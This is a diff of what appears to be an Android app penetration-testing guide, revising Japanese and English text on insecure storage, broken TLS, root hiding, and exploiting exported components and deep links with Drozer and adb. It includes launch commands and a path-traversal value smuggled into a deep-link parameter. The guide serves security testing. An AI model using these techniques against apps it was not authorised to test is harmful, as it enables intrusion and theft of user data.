`android:networkSecurityConfig="@xml/network_security_config"` のようなカスタムネットワークセキュリティ設定（_res/xml/_ 内）は、証明書ピンや HTTP トラフィックの許可設定などのセキュリティ詳細を指定できます。例えば特定ドメインへの HTTP トラフィックを許可する設定などがあります。 +- **Exported Activities and Services**: マニフェスト内でエクスポートされた activities や services を特定することで、悪用される可能性のあるコンポーネントが明らかになります。動的テスト中にこれらをさらに解析すると、どのように悪用できるかが分かります。 +- **Content Providers and FileProviders**: 公開された content providers はデータへの不正アクセスや変更を許す可能性があります。FileProviders の設定も詳しく調べるべきです。 +- **Broadcast Receivers and URL Schemes**: これらのコンポーネントは悪用の足がかりになり得ます。特に URL スキームの扱い方が入力に対する脆弱性を生まないか注意してください。 +- **SDK Versions**: `minSdkVersion`、`targetSDKVersion`、`maxSdkVersion` 属性はサポートする Android バージョンを示します。古く脆弱な Android バージョンをサポートし続けることの危険性が分かります。 -**strings.xml** ファイルからは、API keys、カスタムスキーマ、その他の開発者メモのような機密情報が発見されることがあり、これらのリソースは注意深く確認する必要があります。 +**strings.xml** からは、API keys、カスタムスキーマ、その他の開発者メモなどの機密情報が見つかることがあり、これらのリソースは慎重に確認する必要があります。 ### Tapjacking -Tapjacking は、悪意のあるアプリケーションが起動して被害者アプリの上に自身を配置する攻撃です。視覚的に被害者アプリを覆い隠した状態で、UI がユーザをだまして操作させ、その操作を被害者アプリへ透過させるように設計されます。結果として、ユーザは実際には被害者アプリ上で操作を行っていることに気づかなくなります。 +**Tapjacking** は、**malicious application** を起動して **被害アプリの上に自身を配置**する攻撃です。被害アプリを視覚的に覆った後、マルウェアの UI はユーザーを騙して操作させるように設計されており、その操作を被害アプリに転送します。結果として、ユーザーは実際には被害アプリ上で操作を行っていることに気付かなくなります。 Find more information in: @@ -103,7 +103,7 @@ tapjacking.md ### Task Hijacking -`launchMode` が **`singleTask`** に設定され、かつ `taskAffinity` が定義されていない activity は Task Hijacking の対象になります。つまり、悪意あるアプリをインストールしてそのアプリを本物のアプリより先に起動すると、本物のアプリのタスクを**乗っ取る**ことができ（ユーザは本物のアプリを操作しているつもりで実は悪意あるアプリを操作している）、ユーザを騙すことができます。 +`launchMode` が **`singleTask`** に設定され、かつ `taskAffinity` が定義されていない **activity** は **Task Hijacking** の脆弱性があります。つまり、別の**application**をインストールしてそれを本物のアプリより先に起動すると、**本物のアプリの task を乗っ取ってしまう**可能性があり（ユーザーは本物のアプリを使っているつもりで実は悪意あるアプリを操作している）、その結果ユーザーを騙すことができます。 More info in: @@ -112,101 +112,101 @@ More info in: android-task-hijacking.md {{#endref}} -### Insecure data storage +### 不適切なデータ保存 -**Internal Storage** +**内部ストレージ** -Android では、internal storage に保存されたファイルはそれを作成したアプリのみがアクセスできるよう設計されています。これは OS によって強制され、多くのアプリケーションにとって十分なセキュリティ手段です。しかし、開発者が `MODE_WORLD_READABLE` や `MODE_WORLD_WRITABLE` といったモードを利用してファイルを他のアプリ間で共有することがあり、これらのモードは他の（悪意ある可能性のある）アプリからのアクセスを制限しません。 +Android では、**internal** ストレージに**保存**されたファイルはそれを**作成したアプリだけがアクセスできる**よう設計されています。このセキュリティ対策は Android OS によって強制され、ほとんどのアプリのセキュリティ要件には十分です。ただし、開発者が `MODE_WORLD_READABLE` や `MODE_WORLD_WRITABLE` のようなモードを利用してファイルを異なるアプリ間で**共有**できるようにする場合があります。しかし、これらのモードは他のアプリ（潜在的に malicious なものを含む）によるファイルへのアクセスを制限しません。 1. **Static Analysis:** -- `MODE_WORLD_READABLE` や `MODE_WORLD_WRITABLE` の使用を慎重に調査してください。これらのモードはファイルを意図しない、または許可されていないアクセスにさらす可能性があります。 +- `MODE_WORLD_READABLE` と `MODE_WORLD_WRITABLE` の使用は慎重に精査してください。これらのモードはファイルを意図しない、または不正なアクセスに晒す可能性があります。 2. **Dynamic Analysis:** -- アプリが作成するファイルに設定されている権限を確認してください。特に、ファイルが全世界で読み取り可能または書き込み可能に設定されていないかをチェックしてください。これがあると、デバイスにインストールされた任意のアプリケーションが当該ファイルを読み取ったり変更したりできる重大なリスクになります。 +- アプリが作成するファイルの**パーミッション**を確認してください。特に、ファイルが world-readable や world-writable に設定されていないかをチェックします。これが有効だと、デバイスにインストールされた**任意のアプリ**がこれらのファイルを読み書きできてしまうため重大なセキュリティリスクを生じます。 -**External Storage** +**外部ストレージ** -SD カードなどの external storage 上のファイルを扱う場合は、以下の点に注意してください: +SD カードのような **external storage** 上のファイルを扱う際には、以下の点に注意してください: 1. **Accessibility**: -- external storage 上のファイルはグローバルに読み書き可能です。つまり任意のアプリケーションやユーザがアクセスできます。 +- 外部ストレージ上のファイルは**グローバルに読み書き可能**です。つまり、任意のアプリやユーザーがアクセスできます。 2. **Security Concerns**: -- アクセスが容易であるため、機密情報を external storage に保存しないことが推奨されます。 -- external storage は取り外し可能であり、任意のアプリケーションからアクセスされ得るため安全性は低くなります。 +- このような容易なアクセス性のため、機密情報を外部ストレージに保存しないことが推奨されます。 +- 外部ストレージは取り外し可能であり、任意のアプリからアクセスされ得るため、セキュリティ的に不利です。 3. **Handling Data from External Storage**: -- external storage から取得したデータに対しては常に入力バリデーションを行ってください。これはデータが信頼できないソースから来るため重要です。 -- external storage に実行ファイルや class ファイルを置いて動的にロードすることは強く推奨されません。 -- もしアプリが external storage から実行可能ファイルを取得しなければならない場合、それらのファイルが署名されており暗号的に検証されていることを確認してから動的にロードしてください。これはアプリのセキュリティ整合性を保つために重要です。 +- 外部ストレージから取得したデータは常に**入力検証**を行ってください。外部ストレージのデータは信頼できないソースと見なすべきです。 +- 外部ストレージに実行可能ファイルや class ファイルを置いて動的にロードすることは強く非推奨です。 +- どうしても外部ストレージから実行可能ファイルを取得する必要がある場合、それらのファイルが**署名され、暗号的に検証済み**であることを確認してから動的にロードしてください。これはアプリケーションのセキュリティ整合性を維持する上で重要です。 -External storage は `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` でアクセスできます +外部ストレージには `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` からアクセスできます。 > [!TIP] -> Android 4.4 (**API 17**) 以降、SD カードにはアプリごとに特定のディレクトリのみへアクセスを制限するディレクトリ構造が導入されています。これにより、悪意あるアプリが別のアプリのファイルへ読み書きアクセスすることを防ぎます。 +> Android 4.4（**API 17**）以降、SD カードはディレクトリ構造を持ち、アプリからはそのアプリ専用のディレクトリへのアクセスのみが制限されるようになりました。これにより、悪意あるアプリが別のアプリのファイルに対して読み書きアクセスを得ることを防ぎます。 -**Sensitive data stored in clear-text** +**平文で保存された機密データ** -- **Shared preferences**: Android は各アプリが `/data/data//shared_prefs/` に XML ファイルを簡単に保存できる仕組みを提供しており、しばしばそのフォルダ内に平文で機密情報が見つかることがあります。 -- **Databases**: Android は各アプリが `/data/data//databases/` に sqlite データベースを簡単に保存できる仕組みを提供しており、しばしばそのフォルダ内に平文で機密情報が見つかることがあります。 +- **Shared preferences**: Android は各アプリが `/data/data//shared_prefs/` に簡単に xml ファイルを保存できるようにしており、そのフォルダ内に平文で機密情報が見つかることがあります。 +- **Databases**: Android は各アプリが `/data/data//databases/` に sqlite データベースを保存できるようにしており、そのフォルダ内に平文で機密情報が見つかることがあります。 ### Broken TLS **Accept All Certificates** -なぜか開発者が全ての証明書を受け入れてしまうことがあり、例えばホスト名が一致しない場合でも以下のようなコード行で検証を無効にしていることがあります。 +なぜか開発者が全ての証明書を受け入れてしまうことがあります。例えばホスト名が一致しない場合でも、次のようなコード行で全てを受け入れてしまうことがあります: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. -### 暗号の脆弱性 +### Broken Cryptography -**鍵管理プロセスが不十分** +**Poor Key Management Processes** -一部の開発者は機密データをローカルストレージに保存し、コード内にハードコードまたは予測可能なキーで暗号化しています。これは避けるべきで、reversing により攻撃者が機密情報を抽出できる可能性があります。 +一部の開発者はセンシティブなデータをローカルストレージに保存し、コード内にハードコーディング／予測可能なキーで暗号化しています。reversing によって攻撃者が機密情報を抽出できる可能性があるため、これは避けるべきです。 -**安全でない、または非推奨のアルゴリズムの使用** +**Use of Insecure and/or Deprecated Algorithms** -開発者は認可の**checks**、データの**store**や**send**に**deprecated algorithms**を使用すべきではありません。これらのアルゴリズムの例: RC4, MD4, MD5, SHA1... 例えばパスワードを保存するために**hashes**を使用する場合は、ソルトを付けたブルートフォースに**resistant**なハッシュを使用するべきです。 +開発者は認証チェック、データの保存や送信に **deprecated algorithms** を使うべきではありません。例としては RC4、MD4、MD5、SHA1 などがあります。例えばパスワード保存に **hashes** を使う場合は、salt を用いた brute-force 抵抗性のあるハッシュを使うべきです。 -### その他のチェック +### Other checks -- APKを難読化して、攻撃者によるリバースエンジニアリングの作業を困難にすることが推奨されます。 -- アプリが機密性の高いものであれば（銀行系アプリなど）、独自にモバイルがrootedかどうかをチェックし、それに応じて対応するべきです。 -- アプリが機密性の高いものであれば（銀行系アプリなど）、**emulator**が使用されているかをチェックすべきです。 -- アプリが機密性の高いものであれば（銀行系アプリなど）、実行前に自身の整合性をチェックして改変されていないか確認すべきです。 -- [**APKiD**](https://github.com/rednaga/APKiD) を使用して、APK をビルドする際にどの compiler/packer/obfuscator が使われたかを確認してください +- It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers. +- If the app is sensitive (like bank apps), it should perform it's **own checks to see if the mobile is rooted** and act in consequence. +- If the app is sensitive (like bank apps), it should check if an **emulator** is being used. +- If the app is sensitive (like bank apps), it should **check it's own integrity before executing** it to check if it was modified. +- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK -### React Native アプリケーション +### React Native Application -React アプリケーションの javascript コードに簡単にアクセスする方法を知るには、次のページを参照してください: +Read the following page to learn how to easily access javascript code of React applications: {{#ref}} react-native-application.md {{#endref}} -### Xamarin アプリケーション +### Xamarin Applications -Xamarin アプリケーションの C# コードに簡単にアクセスする方法を知るには、次のページを参照してください: +Read the following page to learn how to easily access C# code of a xamarin applications: {{#ref}} ../xamarin-apps.md {{#endref}} -### Superpacked アプリケーション +### Superpacked Applications According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** -### 自動静的コード解析 +### Automated Static Code Analysis -ツール [**mariana-trench**](https://github.com/facebook/mariana-trench) は、アプリケーションの**code**を**scanning**することで**vulnerabilities**を検出できます。このツールは一連の**known sources**（ツールに対して**input がユーザによって制御される場所**を示す）、**sinks**（悪意あるユーザ入力が被害を引き起こす可能性のある**dangerous な場所**を示す）および**rules**を含みます。これらのルールは、脆弱性を示す**sources-sinks の組み合わせ**を定義します。 +The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. -この知識により、**mariana-trench はコードをレビューして潜在的な脆弱性を見つけます**。 +With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. ### Secrets leaked -アプリケーションには機密情報（API keys、passwords、hidden urls、subdomains...）が含まれている可能性があり、これらを発見できる場合があります。次のようなツールを使用できます: [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could use a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -215,14 +215,14 @@ According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpa bypass-biometric-authentication-android.md {{#endref}} -### その他の興味深い機能 +### Other interesting functions -- **コード実行**: `Runtime.exec(), ProcessBuilder(), native code:system()` -- **SMS送信**: `sendTextMessage, sendMultipartTestMessage` -- **ネイティブ関数**宣言（`native`）: `public native, System.loadLibrary, System.load` -- [これを読んで、**ネイティブ関数をリバースする方法**を学んでください](reversing-native-libraries.md) +- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` +- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` +- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` +- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) -### **その他のトリック** +### **Other tricks** {{#ref}} @@ -233,162 +233,165 @@ content-protocol.md --- -## 動的解析 +## Dynamic Analysis -> まず、アプリケーションと必要な環境（主に Burp CA cert、Drozer、Frida）をインストールできる環境が必要です。したがって、rooted デバイス（エミュレートされているかどうかに関わらず）が強く推奨されます。 +> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. -### オンライン動的解析 +### Online Dynamic analysis -次のサイトで**無料アカウント**を作成できます: [https://appetize.io/](https://appetize.io/)。このプラットフォームでは APK を**upload**して**execute**できるため、APK がどのように動作するかを確認するのに便利です。 +You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. -ウェブ上でアプリケーションのログを閲覧したり、**adb**で接続したりできます。 +You can even **see the logs of your application** in the web and connect through **adb**. ![](<../../images/image (831).png>) -ADB 接続によりエミュレータ内で **Drozer** と **Frida** を使用できます。 +Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. -### ローカル動的解析 +### Local Dynamic Analysis -#### エミュレータを使用する場合 +#### Using an emulator -- [**Android Studio**](https://developer.android.com/studio)（**x86** および **arm** デバイスを作成できます。さらに [**this**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) によると **最新の x86** バージョンは遅い arm エミュレータを必要とせずに **ARM ライブラリをサポート**します）。 -- セットアップ方法は次のページを参照してください: +- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). +- Learn to set it up in this page: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **（無料版:** Personal Edition、アカウント作成が必要です。_潜在的なエラーを避けるために**VirtualBox**付きのバージョンを**ダウンロード**することを推奨します._） -- [**Nox**](https://es.bignox.com)（無料ですが、Frida や Drozer はサポートしていません）。 +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._) +- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). > [!TIP] -> 新しいエミュレータを作成する際は、画面が大きいほどエミュレータの動作が遅くなることに注意してください。可能であれば小さい画面を選んでください。 +> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible. -Genymotion に **google services**（AppStore など）を**インストール**するには、次の画像の赤いマークのボタンをクリックする必要があります: +To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image: ![](<../../images/image (277).png>) -また、Genymotion の **Android VM の構成**で **Bridge Network mode** を選択できることに注意してください（これは、ツールを実行する別の VM から Android VM に接続する場合に便利です）。 +Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools). -#### 実機を使用する場合 +#### Use a physical device -デバッグオプションを有効にする必要があり、可能であれば root 化することを推奨します: +You need to activate the **debugging** options and it will be cool if you can **root** it: -1. **設定**. -2. (Android 8.0以降) **システム** を選択. -3. **端末情報** を選択. -4. **ビルド番号** を7回押す. -5. 戻ると **開発者向けオプション** が表示されます. +1. **Settings**. +2. (FromAndroid 8.0) Select **System**. +3. Select **About phone**. +4. Press **Build number** 7 times. +5. Go back and you will find the **Developer options**. + +> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ +> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on. + +Magisk/Zygisk quick notes (recommended on Pixel devices) +- Patch boot.img with the Magisk app and flash via fastboot to get systemless root +- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required +- Keep original boot.img to recover from OTA updates; re-patch after each OTA +- For screen mirroring, use scrcpy on the host -> アプリをインストールしたら、まず最初にそれを試して、何をするのか、どのように動作するのかを調査し、使い方に慣れてください。\ -> 初期の動的解析は **MobSF dynamic analysis + pidcat** を使用して行うことをお勧めします。そうすることで、MobSF が後で確認できる多くの**興味深いデータ**をキャプチャしながら、アプリの動作を学ぶことができます。 -Magisk/Zygisk クイックノート（Pixel デバイスで推奨） -- Magisk アプリで boot.img をパッチし、fastboot 経由でフラッシュして systemless root を取得する -- root 隠蔽のために Zygisk + DenyList を有効にする；より強力な隠蔽が必要な場合は LSPosed/Shamiko を検討する -- OTA アップデートから復旧できるように元の boot.img を保管しておく；各 OTA 後に再パッチする -- 画面ミラーリングにはホスト上で scrcpy を使用する ### Unintended Data Leakage -**ログ出力** +**Logging** -開発者は**debugging information**を公開すると機密データの leak を招く可能性があるため注意すべきです。アプリケーションログを監視して機密情報を特定・保護するには、[**pidcat**](https://github.com/JakeWharton/pidcat) と `adb logcat` を推奨します。**Pidcat** は使いやすさと可読性から好まれます。 +Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability. > [!WARNING] -> **Android 4.0 以降**では、**アプリケーションは自身のログにのみアクセス可能**です。したがって、アプリは他のアプリのログにアクセスできません。\ -> それでも、機密情報をログに記録しないことを推奨します。 +> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ +> Anyway, it's still recommended to **not log sensitive information**. -**コピー/ペースト バッファのキャッシュ** +**Copy/Paste Buffer Caching** -Android の **clipboard-based** フレームワークはアプリのコピー＆ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードに**アクセス**できるため、機密データが露出するリスクがあります。クレジットカード情報など機密性の高い箇所では、コピー/ペースト機能を無効にして data leak を防ぐことが重要です。 +Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leaks. -**クラッシュログ** +**Crash Logs** -アプリケーションが**クラッシュ**して**ログを保存**する場合、これらのログは特にアプリをリバースエンジニアリングできない状況で攻撃者の助けとなる可能性があります。このリスクを軽減するため、クラッシュ時のログ記録は避け、もしログをネットワーク経由で送信する必要がある場合は SSL チャネルで送信するようにしてください。 +If an application **crashes** and **saves logs**, these logs can assist attackers, particularly when the application cannot be reverse-engineered. To mitigate this risk, avoid logging on crashes, and if logs must be transmitted over the network, ensure they are sent via an SSL channel for security. -pentester として、**これらのログを確認する**ことを試みてください。 +As pentester, **try to take a look to these logs**. -**サードパーティへ送信される分析データ** +**Analytics Data Sent To 3rd Parties** -アプリはしばしば Google Adsense のようなサービスを統合していますが、開発者の実装ミスにより機密データを意図せずに leak してしまうことがあります。潜在的な data leak を特定するには、アプリのトラフィックを intercept して、サードパーティへ送信されている機密情報がないか確認することをお勧めします。 +Applications often integrate services like Google Adsense, which can inadvertently **leak sensitive data** due to improper implementation by developers. To identify potential data leaks, it's advisable to **intercept the application's traffic** and check for any sensitive information being sent to third-party services. ### SQLite DBs -多くのアプリは情報を保存するために **内部の SQLite データベース** を使用します。pentest 中は作成された **databases**、**tables** や **columns** の名前、保存されているすべての **data** を確認してください。機密情報が見つかる可能性があり（それは脆弱性になります）。データベースは通常 `/data/data/the.package.name/databases` にあり、例: `/data/data/com.mwr.example.sieve/databases` +Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\ +Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases` -データベースが機密情報を保存しており**暗号化されている**場合でも、その**password**をアプリ内で**見つけられる**なら、それは依然として**脆弱性**です。 +If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**. -テーブルは `.tables` で列挙し、テーブルのカラムは `.schema ` で確認してください。 +Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema ` ### Drozer (Exploit Activities, Content Providers and Services) From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ -Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. +Drozer is a useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. -### エクスポートされた Activity の悪用 +### Exploiting exported Activities -[**Android Activity とは何かを再確認したい場合はこれを読んでください。**](android-applications-basics.md#launcher-activity-and-other-activities)\ -また、Activity のコードは **`onCreate`** メソッドから始まることを覚えておいてください。 +[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ +Also remember that the code of an activity starts in the **`onCreate`** method. **Authorisation bypass** -Activity が exported されている場合、外部アプリからその画面を呼び出せます。したがって、**sensitive information** を含む Activity が **exported** されていると、認証メカニズムを **bypass** してアクセスされる可能性があります。 +When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.** -[**Drozer でエクスポートされた activities を悪用する方法を学ぶ。**](drozer-tutorial/index.html#activities) +[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -また、adb から exported activity を起動することもできます: +You can also start an exported activity from adb: -- PackageName は com.example.demo -- Exported ActivityName は com.example.test.MainActivity +- PackageName is com.example.demo +- Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). +**NOTE**: MobSF はアクティビティの `android:launchMode` に _**singleTask/singleInstance**_ を使用していると悪意のあるものとして検出しますが、[this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) によると、どうやらこれは古いバージョン（API versions < 21）でのみ危険なようです。 > [!TIP] -> 認可バイパスが必ずしも脆弱性であるとは限らないことに注意してください。脆弱性かどうかは、バイパスの仕組みやどの情報が露出するかによります。 +> authorisation bypass が必ずしも脆弱性とは限らないことに注意してください。どのように bypass が動作するか、どの情報が露出するかによります。 -**機密情報漏洩** +**機密情報の漏洩** -**Activitiesは結果を返すこともあります**。exportedかつ保護されていないアクティビティが**`setResult`**メソッドを呼び出して**機密情報を返している**場合、機密情報の漏洩があります。 +アクティビティは結果を返すこともあります。エクスポートされ保護されていないアクティビティが `setResult` メソッドを呼び出し、機密情報を返しているのを見つけた場合、機密情報の漏洩が発生しています。 #### Tapjacking -Tapjackingが防止されていない場合、exportedなアクティビティを悪用して**ユーザーに予期しない操作を行わせる**ことができます。詳細は[**what is Tapjacking follow the link**](#tapjacking)を参照してください。 +Tapjacking が防止されていない場合、エクスポートされたアクティビティを悪用してユーザーに予期しない操作をさせることができます。For more info about [**what is Tapjacking follow the link**](#tapjacking). ### Exploiting Content Providers - Accessing and manipulating sensitive information [**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ -Content providersは基本的に**データを共有する**ために使われます。アプリに利用可能なcontent providersがある場合、そこから**機密データを抽出**できる可能性があります。また、脆弱である可能性があるため、**SQL injections**や**Path Traversals**のテストを行うことも重要です。 +Content providers は基本的に **share data** に使用されます。アプリに利用可能な content providers がある場合、それらから **extract sensitive** データを取り出せる可能性があります。また、脆弱である可能性があるため、**SQL injections** や **Path Traversals** のテストを行うことも重要です。 [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** [**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ -Serviceの動作は`onStartCommand`メソッドから始まることを覚えておいてください。 +Service の処理は `onStartCommand` メソッドで始まることを忘れないでください。 -Serviceは基本的にデータを**受け取り**、それを**処理**し、（場合によっては）レスポンスを**返す**ものです。したがって、アプリがいくつかのServiceをexportしている場合は、何をしているかを理解するために**コードを確認**し、機密情報の抽出や認可回避などを目的として**動的にテスト**するべきです。\ +Service は基本的にデータを受け取り、それを処理し、応答を（返すこともあれば返さないこともある）ものです。したがって、アプリがいくつかのサービスをエクスポートしている場合は、何をしているのかを理解するためにコードを確認し、機密情報の抽出や認証回避などを動的にテストするべきです。\ [**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** [**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Broadcast Receiverの動作は`onReceive`メソッドから始まることを覚えておいてください。 +Broadcast Receiver の処理は `onReceive` メソッドで始まることを忘れないでください。 -Broadcast receiverは特定の種類のメッセージを待ち受けます。受信側がそのメッセージをどのように処理するかによって、脆弱になる可能性があります。\ +ブロードキャストレシーバは特定のタイプのメッセージを待ち受けます。受信したメッセージの処理方法によっては脆弱になる可能性があります。\ [**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -deep linksは手動で探すこともでき、MobSFのようなツールや[このスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)のようなものを使えます。\ -宣言された**scheme**は、**adb**や**browser**を使って**開く**ことができます： +deep links を手動で探すには、MobSF のようなツールや [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) のようなスクリプトを使用できます。\ +宣言された **scheme** は **adb** や **browser** を使って **open** できます： ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_注意: **パッケージ名を省略**すると、モバイルはそのリンクを開くべきアプリを自動的に呼び出します._ +_パッケージ名を**省略できます**と、モバイル端末はそのリンクを開くべきアプリを自動的に起動します._ ```html Click me @@ -397,53 +400,53 @@ _注意: **パッケージ名を省略**すると、モバイルはそのリン ``` **実行されるコード** -アプリで**実行されるコード**を見つけるには、deeplink によって呼ばれる activity に移動し、関数 **`onNewIntent`** を検索してください。 +アプリで**実行されるコード**を見つけるには、deeplink によって呼び出される activity に移動し、関数 **`onNewIntent`** を検索してください。 ![](<../../images/image (436) (1) (1) (1).png>) **機密情報** -deep link を見つけたら、必ず **URL パラメータ経由で機密情報（例えば passwords）が渡されていないか** を確認してください。なぜなら他のアプリがその deep link を **なりすましてデータを盗む** 可能性があるからです！ +deep link を見つけるたびに、**URL パラメータ経由で機密データ（パスワードなど）を受け取っていないか**を確認してください。なぜなら、他のアプリケーションが**deep link をなりすましてそのデータを盗む**可能性があるからです！ -**パス内の Parameters** +**Parameters in path** -URL のパス内でパラメータを使っている deep link がないかも **必ず確認** してください。例えば `https://api.example.com/v1/users/{username}` のような場合、次のように path traversal を強制できることがあります：`example://app/users?username=../../unwanted-endpoint%3fparam=value` 。\ -アプリ内で正しいエンドポイントを見つけられれば、パスの一部がドメイン名として使われていた場合の **Open Redirect**、CSRF token なしでユーザ詳細を変更できる場合の **account takeover**、その他の脆弱性を引き起こせる可能性があります。詳細は [info about this here](http://dphoeniixx.com/2020/12/13-2/) を参照してください。 +URL のパス内でパラメータを使用している deep link がないか、**必ず確認してください**。例えば: `https://api.example.com/v1/users/{username}` のような場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにアクセスすることで path traversal を強制できることがあります。\ +Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). **More examples** -興味深いバグバウンティレポートの例：[https://hackerone.com/reports/855618](https://hackerone.com/reports/855618)（リンクに関する報告、_/.well-known/assetlinks.json_）。 +[interesting bug bounty report](https://hackerone.com/reports/855618) はリンク（_/.well-known/assetlinks.json_）に関する報告です。 -### トランスポート層の検査と検証の失敗 +### Transport Layer Inspection and Verification Failures -- **Certificates are not always inspected properly** by Android applications. 多くのアプリは警告を見落とし、self-signed certificates を受け入れたり、場合によっては HTTP 接続に戻してしまうことがあります。 -- **Negotiations during the SSL/TLS handshake are sometimes weak**, insecure な cipher suites を用いていることがあります。この脆弱性により接続が man-in-the-middle (MITM) 攻撃に対して脆弱になり、攻撃者がデータを復号できる可能性があります。 -- Leakage of private information は、アプリが認証だけ secure なチャネルを使い、他の取引を非secure なチャネルで行う場合にリスクとなります。このやり方はセッション cookie やユーザ詳細などの機密データを悪意ある第三者による傍受から守れません。 +- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections. +- **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data. +- **Leakage of private information** 